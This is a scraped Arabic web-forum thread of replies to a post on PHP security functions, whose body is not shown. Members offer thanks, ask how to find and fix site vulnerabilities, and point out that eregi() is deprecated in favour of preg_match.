شرح بعض دوال الحماية وبعض طرق الحماية في php

» ولا تنسى دعوة خالصة من القلب لي ولوالدي...~

» وبكذا انتهى موضوعي لليوم ...~

» تقبلو تحياتي انا اخوكم في الله ...~

» إيهاب...~
شرح بعض دوال الحماية وبعض طرق الحماية في php

Al-Kaiser, مشتاقين, shqawe و 1 آخرون معجبون بهذا.
المشاهدات 2442 | التعليقات 6
قديمة 05 - 08 - 2016, 18:44
المشاركة 2
صورة 'مشتاقين' الرمزية
مشتاقين
:: عضو نشيط ::
تاريخ الإنضمام: 27 - 08 - 2005
رقم العضوية : 7715
الدولة : || الكويــ السعودية ـــت ||
المشاركات: 2,600
افتراضي رد : شرح بعض دوال الحماية وبعض طرق الحماية في php
بارك الله فيك , ماشاءاله
Ehab Obaidat‎‏ معجب بهذا.


•.¸¸.•| مشعل |•.¸¸.•
قديمة 05 - 08 - 2016, 18:44
المشاركة 3
صورة 'Al-Kaiser' الرمزية
Al-Kaiser
:: عضو نشيط ::
تاريخ الإنضمام: 16 - 07 - 2015
رقم العضوية : 292108
المشاركات: 1,180
92
افتراضي رد : شرح بعض دوال الحماية وبعض طرق الحماية في php
شكرا لك اخوي ايهاب على الموضوع الشيق

وصراحة استفدت من الموضوع بشكل كبير ولكن نبحث عن طرق اني اكتشف ثغرات موقعي وطرق ترقيعها بشكل الصحيح وليس ترقيع عفوي

وشكرا لك مره اخرى
Ehab Obaidat‎‏ معجب بهذا.


آلحمد لله وتبارك الله ولا الله الا الله 🤲🏻
قديمة 05 - 08 - 2016, 18:58
المشاركة 4
صورة 'Ehab Obaidat‎‏' الرمزية
Ehab Obaidat‎‏
.:: عضو متألق ::.
تاريخ الإنضمام: 19 - 02 - 2015
رقم العضوية : 263969
الدولة : Palestine - Jerusalem
المشاركات: 8,393
555
قديمة 05 - 08 - 2016, 19:00
المشاركة 5
صورة 'Ehab Obaidat‎‏' الرمزية
Ehab Obaidat‎‏
.:: عضو متألق ::.
تاريخ الإنضمام: 19 - 02 - 2015
رقم العضوية : 263969
الدولة : Palestine - Jerusalem
المشاركات: 8,393
555
افتراضي رد : شرح بعض دوال الحماية وبعض طرق الحماية في php
شكرا لك اخوي ايهاب على الموضوع الشيق

وصراحة استفدت من الموضوع بشكل كبير ولكن نبحث عن طرق اني اكتشف ثغرات موقعي وطرق ترقيعها بشكل الصحيح وليس ترقيع عفوي

وشكرا لك مره اخرى

عفوا حبيبي ولو واجبنا والحمدالله انك استفدت من الموضوع

ههههه اشرح لك كيف تكتشفها بشكل كامل يعني تعلم اختراق وهل شيء مخالف قوانين المعهد تابع في جوجل ^_^ بتعرف طلبك اكثر
قديمة 07 - 08 - 2016, 02:35
المشاركة 6
صورة 'shqawe' الرمزية
shqawe
:: عضو نشيط ::
تاريخ الإنضمام: 01 - 12 - 2005
رقم العضوية : 13187
المشاركات: 3,223
29
افتراضي رد : شرح بعض دوال الحماية وبعض طرق الحماية في php
مشكور على الموضوع اخوي ايهاب وحقيقه هذا ما هو درس هذا يعتبر مرجع الواحد يقدر يرجع له

ولكن عندي ملاحظة بسيطة فقط على اول وثاني كود اللي انت مستخدم فيه دالة eregi() وكما هو معروف الدالة هذي تم اهمالها في اصدارات php 5.3.0 وسوف يتم حذفها في اصدارات 7.0.0 والافضل استخدام الدالة perg_match() حسب موقع php الرسمي
PHP: eregi - Manual

وتقبل احترامي وتقديري

اخوك

شقاوي
Al-Kaiser و Ehab Obaidat‎‏ معجبون بهذا .
اللهم الطف بحالنا
ولا تؤاخذنا بما فعل السفهاء منا
سبحان الله وبحمده ... سبحان الله العظيم
قدم المعلومة لله ولا تنتظر الشكر من احد
Skype: live:shqawe
قديمة 22 - 08 - 2016, 04:15
المشاركة 7
صورة 'Ehab Obaidat‎‏' الرمزية
Ehab Obaidat‎‏
.:: عضو متألق ::.
تاريخ الإنضمام: 19 - 02 - 2015
رقم العضوية : 263969
الدولة : Palestine - Jerusalem
المشاركات: 8,393
555
افتراضي رد : شرح بعض دوال الحماية وبعض طرق الحماية في php
مشكور على الموضوع اخوي ايهاب وحقيقه هذا ما هو درس هذا يعتبر مرجع الواحد يقدر يرجع له

ولكن عندي ملاحظة بسيطة فقط على اول وثاني كود اللي انت مستخدم فيه دالة eregi() وكما هو معروف الدالة هذي تم اهمالها في اصدارات php 5.3.0 وسوف يتم حذفها في اصدارات 7.0.0 والافضل استخدام الدالة perg_match() حسب موقع php الرسمي
PHP: eregi - Manual

وتقبل احترامي وتقديري

اخوك

شقاوي
اكيد اخوي وانا ضفت انه شرح لحتى توضح فكره عند الجميع بارك الله فيك على حسن متابعه
 
اضافة رد
 
العلامات المرجعية

دورة مبادئ LARAVEL عمل select box داينامك باستخدام ال jquery

أدوات الموضوع ابحث في الموضوع
ابحث في الموضوع:

البحث المتقدم
طرق العرض


الساعة معتمدة بتوقيت جرينتش +3 . الساعة الآن : 03:08.
المعهد غير مسؤول عن أي اتفاق تجاري أو تعاوني بين الأعضاء
فعلى كل شخص تحمل مسئولية نفسه إتجاه مايقوم به من بيع وشراء وإتفاق وأعطاء معلومات موقعه
التعليقات المنشورة لا تعبر عن رأي معهد ترايدنت ولا نتحمل أي مسؤولية قانونية حيال ذلك (ويتحمل كاتبها مسؤولية النشر)

جميع الحقوق محفوظة Traidnt 2018
  • 00966138651070
  • 00966138648289
  • 2051033691
Powered by vBulletin® Version 3.8.7 .Copyright ©2000 - 2019, Jelsoft Enterprises Ltd
SEO by vBSEO ©2011, Crawlability, Inc.